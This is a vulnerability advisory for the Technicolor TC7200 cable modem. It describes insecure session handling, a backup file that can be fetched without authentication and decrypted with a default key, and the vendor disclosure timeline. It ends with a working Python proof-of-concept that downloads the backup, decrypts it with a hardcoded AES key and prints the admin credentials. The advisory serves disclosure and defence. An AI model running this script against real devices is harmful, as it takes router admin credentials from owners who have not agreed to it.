Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------

Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page:
http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300

Vulnerabilities
---------------
Insecure session management
The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.

Backup file encryption uses fix password
Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.

Timeline
--------
- 2015.07.30: We sent some new issues affecting the Ubee router and
other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone
communications between technical persons from Liberty Global to clarify
the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change
the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end
users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security
personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a
wardriving experiment in Budapest, Hungary to measure the rate of end
users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20150720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor


technicolor_tc7200_poc.py:

#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated backup file access
#  - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720

import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES

class technicolor:
    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()

    def getUri(self, uri):
        return 'http://%s:%d/%s'%(self.addr,self.port,uri)

    def downloadBackupFile(self):
        r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
        resp = ''
        for chunk in r:
            resp += chunk
        return resp

    def parseBackup(self, backup):
        p = backup.find('MLog')
        if (p > 0):
            p += 6
            nh = struct.unpack('!H',backup[p:p+2])[0]
            name = backup[p+2:p+2+nh]
            p += 2+nh
            ph = struct.unpack('!H',backup[p:p+2])[0]
            pwd = backup[p+2:p+2+nh]
            return (name,pwd)
        return ('','')

    def decryptBackup(self, backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        l = (len(backup)/16)*16
        cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
        plain = cipher.decrypt(backup[0:l])
        return plain


#------------------------------------

if (len(sys.argv) < 2):
    print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
    port = int(sys.argv[2])

# create technicolor object
t = technicolor(addr, port)

backup = t.downloadBackupFile()
if (len(backup) > 0):
    open('test.enc', 'wb').write(backup)
    plain = t.decryptBackup(backup)
    open('test.dec', 'wb').write(plain)

    (name, pwd) = t.parseBackup(plain)
    if (name != ''):
        print 'admin name: %s, pwd: %s'%(name,pwd)